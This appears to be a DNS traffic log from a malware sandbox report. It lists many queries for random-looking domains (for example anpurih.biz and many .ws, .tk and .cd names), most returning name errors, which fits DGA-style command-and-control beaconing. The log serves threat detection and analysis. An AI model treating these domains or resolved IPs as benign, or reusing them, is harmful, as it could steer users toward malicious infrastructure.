Jan 5, 2025 10:51:59.356800079 CET	192.168.2.4	1.1.1.1	0xd8e8	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.397815943 CET	192.168.2.4	1.1.1.1	0xaf8d	Standard query (0)	ckgudj.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.426743984 CET	192.168.2.4	1.1.1.1	0xa7aa	Standard query (0)	ckgudj.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.476300955 CET	192.168.2.4	1.1.1.1	0x4e0b	Standard query (0)	qeeegkxyyi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.561170101 CET	192.168.2.4	1.1.1.1	0x7a59	Standard query (0)	qeeegkxyyi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.602996111 CET	192.168.2.4	1.1.1.1	0xd23a	Standard query (0)	taqwzio.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.874423981 CET	192.168.2.4	1.1.1.1	0x5633	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.887012959 CET	192.168.2.4	1.1.1.1	0xc70c	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.929128885 CET	192.168.2.4	1.1.1.1	0xf2af	Standard query (0)	eqqqg.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.970072031 CET	192.168.2.4	1.1.1.1	0xac70	Standard query (0)	eqqqg.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.054112911 CET	192.168.2.4	1.1.1.1	0xd886	Standard query (0)	swnalczejnim.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.083024979 CET	192.168.2.4	1.1.1.1	0x7374	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.114978075 CET	192.168.2.4	1.1.1.1	0x9b81	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.148195982 CET	192.168.2.4	1.1.1.1	0xb897	Standard query (0)	gyuctmnqodcuxr.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.179035902 CET	192.168.2.4	1.1.1.1	0xca5e	Standard query (0)	gyuctmnqodcuxr.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.227164030 CET	192.168.2.4	1.1.1.1	0x8dd8	Standard query (0)	entwowfsvqchd.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.241146088 CET	192.168.2.4	1.1.1.1	0xa854	Standard query (0)	entwowfsvqchd.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.272910118 CET	192.168.2.4	1.1.1.1	0x5ebd	Standard query (0)	scmkkkslv.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.318870068 CET	192.168.2.4	1.1.1.1	0x61df	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.335037947 CET	192.168.2.4	1.1.1.1	0xeaa6	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.435364008 CET	192.168.2.4	1.1.1.1	0x4671	Standard query (0)	kigyaiv.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.624815941 CET	192.168.2.4	1.1.1.1	0x5539	Standard query (0)	kigyaiv.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.677269936 CET	192.168.2.4	1.1.1.1	0x2869	Standard query (0)	oqkfrftagqq.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.706228018 CET	192.168.2.4	1.1.1.1	0x60ea	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.719161987 CET	192.168.2.4	1.1.1.1	0xd976	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.757689953 CET	192.168.2.4	1.1.1.1	0x99b7	Standard query (0)	pvkkseokg.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.848969936 CET	192.168.2.4	1.1.1.1	0x6270	Standard query (0)	pvkkseokg.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.897969961 CET	192.168.2.4	1.1.1.1	0xbc79	Standard query (0)	mumxighfnwk.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.931787968 CET	192.168.2.4	1.1.1.1	0xdfd	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.942616940 CET	192.168.2.4	1.1.1.1	0xd9a3	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.976272106 CET	192.168.2.4	1.1.1.1	0x9011	Standard query (0)	gsytaygkyi.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.010983944 CET	192.168.2.4	1.1.1.1	0x12dd	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.020827055 CET	192.168.2.4	1.1.1.1	0x7780	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.055330992 CET	192.168.2.4	1.1.1.1	0x3370	Standard query (0)	ogabeoxiw.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.240546942 CET	192.168.2.4	1.1.1.1	0x656f	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.253051043 CET	192.168.2.4	1.1.1.1	0x91b6	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.289182901 CET	192.168.2.4	1.1.1.1	0x22a9	Standard query (0)	shmmirazghiwzh.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.308315039 CET	192.168.2.4	1.1.1.1	0x9926	Standard query (0)	shmmirazghiwzh.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.351654053 CET	192.168.2.4	1.1.1.1	0x1a73	Standard query (0)	ebichiqob.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.410693884 CET	192.168.2.4	1.1.1.1	0x36aa	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.421314955 CET	192.168.2.4	1.1.1.1	0x3834	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.461158991 CET	192.168.2.4	1.1.1.1	0x758	Standard query (0)	itururi.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:02.240642071 CET	192.168.2.4	1.1.1.1	0x62c	Standard query (0)	itururi.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.548228025 CET	192.168.2.4	1.1.1.1	0x62c	Standard query (0)	itururi.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.710901976 CET	192.168.2.4	1.1.1.1	0xb5ea	Standard query (0)	wkbfljiyyria.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.836380005 CET	192.168.2.4	1.1.1.1	0x6f92	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.848579884 CET	192.168.2.4	1.1.1.1	0xc261	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.886182070 CET	192.168.2.4	1.1.1.1	0x39a7	Standard query (0)	tqwswdpayyk.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.960983038 CET	192.168.2.4	1.1.1.1	0x32dd	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.969104052 CET	192.168.2.4	1.1.1.1	0x1146	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.007632017 CET	192.168.2.4	1.1.1.1	0xf5ff	Standard query (0)	okqsp.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.286484003 CET	192.168.2.4	1.1.1.1	0xe204	Standard query (0)	okqsp.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.586042881 CET	192.168.2.4	1.1.1.1	0x7a96	Standard query (0)	evcafdhw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.599626064 CET	192.168.2.4	1.1.1.1	0x595c	Standard query (0)	evcafdhw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.648190022 CET	192.168.2.4	1.1.1.1	0xd904	Standard query (0)	psukkeomkuwov.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.720402002 CET	192.168.2.4	1.1.1.1	0x6e1b	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.731950998 CET	192.168.2.4	1.1.1.1	0xf6fc	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.773015022 CET	192.168.2.4	1.1.1.1	0x245	Standard query (0)	eqlitcukw.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.846402884 CET	192.168.2.4	1.1.1.1	0x3511	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.856992006 CET	192.168.2.4	1.1.1.1	0xb130	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.898155928 CET	192.168.2.4	1.1.1.1	0x48d8	Standard query (0)	glkqi.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.919508934 CET	192.168.2.4	1.1.1.1	0x3d5c	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.934478998 CET	192.168.2.4	1.1.1.1	0xbfd5	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.976368904 CET	192.168.2.4	1.1.1.1	0x37de	Standard query (0)	aqpebuwzmsaw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:05.253910065 CET	192.168.2.4	1.1.1.1	0x6418	Standard query (0)	aqpebuwzmsaw.mp	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 10:48:02.162235022 CET	1.1.1.1	192.168.2.4	0x2bd7	Name error (3)	icipvzhhpwa.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.228100061 CET	1.1.1.1	192.168.2.4	0x3c5e	Name error (3)	icipvzhhpwa.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.346414089 CET	1.1.1.1	192.168.2.4	0x9bdb	Name error (3)	gbkymuj.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.366398096 CET	1.1.1.1	192.168.2.4	0x5203	Name error (3)	gbkymuj.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.492484093 CET	1.1.1.1	192.168.2.4	0x4b04	Name error (3)	kgzyvmdjsn.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.505788088 CET	1.1.1.1	192.168.2.4	0x8ff9	Name error (3)	kgzyvmdjsn.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.626646996 CET	1.1.1.1	192.168.2.4	0x79c2	Name error (3)	aekcsa.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.641494989 CET	1.1.1.1	192.168.2.4	0x7a4	Name error (3)	aekcsa.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.814805031 CET	1.1.1.1	192.168.2.4	0x5a0d	No error (0)	auisqbzkoyr.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:03.085719109 CET	1.1.1.1	192.168.2.4	0xfcc	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:48:03.085719109 CET	1.1.1.1	192.168.2.4	0xfcc	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:03.816293001 CET	1.1.1.1	192.168.2.4	0xeb17	Name error (3)	qojuhafm.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:03.922667980 CET	1.1.1.1	192.168.2.4	0x5f72	Name error (3)	qojuhafm.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.063437939 CET	1.1.1.1	192.168.2.4	0x29dc	Name error (3)	mscwiycwe.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.102401972 CET	1.1.1.1	192.168.2.4	0x6b33	Name error (3)	mscwiycwe.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.659252882 CET	1.1.1.1	192.168.2.4	0xb2b9	Name error (3)	gomzzwswgg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.669425011 CET	1.1.1.1	192.168.2.4	0x8a5e	Name error (3)	gomzzwswgg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.803564072 CET	1.1.1.1	192.168.2.4	0x8d12	Name error (3)	rgyipscsoc.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.862694025 CET	1.1.1.1	192.168.2.4	0x2b3e	Name error (3)	rgyipscsoc.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:05.849616051 CET	1.1.1.1	192.168.2.4	0x4d60	Name error (3)	owiioe.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.133543015 CET	1.1.1.1	192.168.2.4	0xad9f	Name error (3)	owiioe.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.257386923 CET	1.1.1.1	192.168.2.4	0x9037	Name error (3)	vaeoiuujwouuqi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.271027088 CET	1.1.1.1	192.168.2.4	0x5c13	Name error (3)	vaeoiuujwouuqi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.419025898 CET	1.1.1.1	192.168.2.4	0x4c2b	Name error (3)	hifbo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.434266090 CET	1.1.1.1	192.168.2.4	0xd899	Name error (3)	hifbo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.548381090 CET	1.1.1.1	192.168.2.4	0x2d99	No error (0)	haeumyhfmk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.414141893 CET	1.1.1.1	192.168.2.4	0xe776	Name error (3)	erendacm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.529663086 CET	1.1.1.1	192.168.2.4	0x59c4	Name error (3)	erendacm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.693783998 CET	1.1.1.1	192.168.2.4	0xbdda	Name error (3)	rcoxqkook.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.707427979 CET	1.1.1.1	192.168.2.4	0xf13d	Name error (3)	rcoxqkook.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.844912052 CET	1.1.1.1	192.168.2.4	0x7cc9	Name error (3)	vuiykecqutjik.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.950861931 CET	1.1.1.1	192.168.2.4	0x6554	Name error (3)	vuiykecqutjik.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.065365076 CET	1.1.1.1	192.168.2.4	0xd1c5	Name error (3)	vmxznmaq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.077092886 CET	1.1.1.1	192.168.2.4	0xb4	Name error (3)	vmxznmaq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.188222885 CET	1.1.1.1	192.168.2.4	0x40c8	Name error (3)	islnimwrkuw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.199815989 CET	1.1.1.1	192.168.2.4	0xf791	Name error (3)	islnimwrkuw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.330946922 CET	1.1.1.1	192.168.2.4	0xa680	Name error (3)	zpkoowu.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.352909088 CET	1.1.1.1	192.168.2.4	0x20b4	Name error (3)	zpkoowu.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.507288933 CET	1.1.1.1	192.168.2.4	0x10d9	Name error (3)	hawquuowbgeoma.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.552759886 CET	1.1.1.1	192.168.2.4	0x3d6c	Name error (3)	hawquuowbgeoma.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:09.442856073 CET	1.1.1.1	192.168.2.4	0x816a	Name error (3)	vnbcxkka.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:10.221967936 CET	1.1.1.1	192.168.2.4	0xca12	Name error (3)	vnbcxkka.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:10.521328926 CET	1.1.1.1	192.168.2.4	0x826b	Name error (3)	mcloueaqw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:11.468914032 CET	1.1.1.1	192.168.2.4	0xabf3	Name error (3)	mcloueaqw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:11.603833914 CET	1.1.1.1	192.168.2.4	0x76aa	No error (0)	rellwylicsequu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:12.253729105 CET	1.1.1.1	192.168.2.4	0x3da1	No error (0)	kzkvmrexo.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:13.276607990 CET	1.1.1.1	192.168.2.4	0xb15f	Name error (3)	vffamcmmuoln.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:13.340909958 CET	1.1.1.1	192.168.2.4	0xfb77	Name error (3)	vffamcmmuoln.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.107963085 CET	1.1.1.1	192.168.2.4	0x1	Name error (3)	xpyodicoino.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.192745924 CET	1.1.1.1	192.168.2.4	0xb57e	Name error (3)	xpyodicoino.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.313009977 CET	1.1.1.1	192.168.2.4	0x397d	Name error (3)	nrcwikf.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.324065924 CET	1.1.1.1	192.168.2.4	0x7576	Name error (3)	nrcwikf.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.615905046 CET	1.1.1.1	192.168.2.4	0xe9dc	Name error (3)	ahytmdoczuaog.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:15.472510099 CET	1.1.1.1	192.168.2.4	0x9289	Name error (3)	ahytmdoczuaog.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:15.769849062 CET	1.1.1.1	192.168.2.4	0xd72b	Name error (3)	lwexogq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:15.867393017 CET	1.1.1.1	192.168.2.4	0x8cca	Name error (3)	lwexogq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:16.058026075 CET	1.1.1.1	192.168.2.4	0xcda9	Name error (3)	mwjukuo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:16.330286026 CET	1.1.1.1	192.168.2.4	0x4bd0	Name error (3)	mwjukuo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:16.592783928 CET	1.1.1.1	192.168.2.4	0xfc2	No error (0)	aaaeneuzmgm.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:17.275063038 CET	1.1.1.1	192.168.2.4	0x5dec	Name error (3)	fmgnw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:17.337420940 CET	1.1.1.1	192.168.2.4	0xa367	Name error (3)	fmgnw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:17.467739105 CET	1.1.1.1	192.168.2.4	0x368d	No error (0)	ymoxwne.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.119329929 CET	1.1.1.1	192.168.2.4	0x722a	Name error (3)	uzwnaownuu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.160824060 CET	1.1.1.1	192.168.2.4	0xbd05	Name error (3)	uzwnaownuu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.281527996 CET	1.1.1.1	192.168.2.4	0xe21e	No error (0)	ptgmg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.891082048 CET	1.1.1.1	192.168.2.4	0x3eb5	Name error (3)	qyzmmqlgp.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.021656990 CET	1.1.1.1	192.168.2.4	0xac78	Name error (3)	qyzmmqlgp.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.141777039 CET	1.1.1.1	192.168.2.4	0x2c96	Name error (3)	xzwsa.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.152741909 CET	1.1.1.1	192.168.2.4	0x448a	Name error (3)	xzwsa.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.276738882 CET	1.1.1.1	192.168.2.4	0x1886	No error (0)	qmikaniayyn.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.911240101 CET	1.1.1.1	192.168.2.4	0xb72b	Name error (3)	uistaqeeb.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.928669930 CET	1.1.1.1	192.168.2.4	0x19c4	Name error (3)	uistaqeeb.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.048685074 CET	1.1.1.1	192.168.2.4	0x7288	Name error (3)	naekiysm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.063721895 CET	1.1.1.1	192.168.2.4	0x5944	Name error (3)	naekiysm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.257213116 CET	1.1.1.1	192.168.2.4	0x6967	No error (0)	zaeuc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.883096933 CET	1.1.1.1	192.168.2.4	0x9a41	Name error (3)	hucunewyac.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.898468018 CET	1.1.1.1	192.168.2.4	0x8025	Name error (3)	hucunewyac.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.042743921 CET	1.1.1.1	192.168.2.4	0xd0d0	Name error (3)	fsifaecvb.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.081849098 CET	1.1.1.1	192.168.2.4	0x9bf0	Name error (3)	fsifaecvb.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.207356930 CET	1.1.1.1	192.168.2.4	0x3c8a	Name error (3)	cclcxxiyi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.241688013 CET	1.1.1.1	192.168.2.4	0xaa92	Name error (3)	cclcxxiyi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.629167080 CET	1.1.1.1	192.168.2.4	0xe212	Name error (3)	muilsaopx.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.912015915 CET	1.1.1.1	192.168.2.4	0xbfb	Name error (3)	muilsaopx.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.058973074 CET	1.1.1.1	192.168.2.4	0xdfad	Name error (3)	hcxhhucwr.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.130475044 CET	1.1.1.1	192.168.2.4	0xa4f3	Name error (3)	hcxhhucwr.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.274697065 CET	1.1.1.1	192.168.2.4	0x8324	No error (0)	nsgcio.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.960066080 CET	1.1.1.1	192.168.2.4	0x57c3	Name error (3)	kcqwigjkphosw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.056643963 CET	1.1.1.1	192.168.2.4	0x50e5	Name error (3)	kcqwigjkphosw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.176872969 CET	1.1.1.1	192.168.2.4	0x5cb4	Name error (3)	aydfeaea.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.201001883 CET	1.1.1.1	192.168.2.4	0x65d5	Name error (3)	aydfeaea.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.351536036 CET	1.1.1.1	192.168.2.4	0xec85	Name error (3)	ogaywmfoo.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.618499041 CET	1.1.1.1	192.168.2.4	0xcc4a	Name error (3)	ogaywmfoo.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.735631943 CET	1.1.1.1	192.168.2.4	0x811b	Name error (3)	iagwx.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.747833967 CET	1.1.1.1	192.168.2.4	0x7342	Name error (3)	iagwx.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.861629009 CET	1.1.1.1	192.168.2.4	0xd48d	Name error (3)	ffwuiyk.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.893923998 CET	1.1.1.1	192.168.2.4	0xfe43	Name error (3)	ffwuiyk.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.015322924 CET	1.1.1.1	192.168.2.4	0x3c2c	Name error (3)	yoifw.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.027482986 CET	1.1.1.1	192.168.2.4	0x5c4	Name error (3)	yoifw.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.161767006 CET	1.1.1.1	192.168.2.4	0xa3c1	Name error (3)	rogexncokusyud.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.176052094 CET	1.1.1.1	192.168.2.4	0x4d53	Name error (3)	rogexncokusyud.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.393923044 CET	1.1.1.1	192.168.2.4	0xda58	Name error (3)	cpjcukm.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.501908064 CET	1.1.1.1	192.168.2.4	0x7f78	Name error (3)	cpjcukm.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.736140013 CET	1.1.1.1	192.168.2.4	0x896b	Name error (3)	iedhsegnq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.865820885 CET	1.1.1.1	192.168.2.4	0x1ee1	Name error (3)	iedhsegnq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.008955002 CET	1.1.1.1	192.168.2.4	0x91ad	No error (0)	qaqqiwicary.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.704202890 CET	1.1.1.1	192.168.2.4	0x7a30	Name error (3)	seuicsinj.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.811829090 CET	1.1.1.1	192.168.2.4	0x5145	Name error (3)	seuicsinj.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.945699930 CET	1.1.1.1	192.168.2.4	0xbaa0	Name error (3)	ydeom.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.982165098 CET	1.1.1.1	192.168.2.4	0xaa2e	Name error (3)	ydeom.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.114841938 CET	1.1.1.1	192.168.2.4	0xa10	Name error (3)	wbuekaymzawmca.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.179897070 CET	1.1.1.1	192.168.2.4	0xa2bf	Name error (3)	wbuekaymzawmca.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.297339916 CET	1.1.1.1	192.168.2.4	0xf076	Name error (3)	waivyis.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.308624983 CET	1.1.1.1	192.168.2.4	0x9879	Name error (3)	waivyis.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.424710035 CET	1.1.1.1	192.168.2.4	0x1944	Name error (3)	cacewsiqbiv.cd	none	none	A (IP address)	IN (0x0001)	false
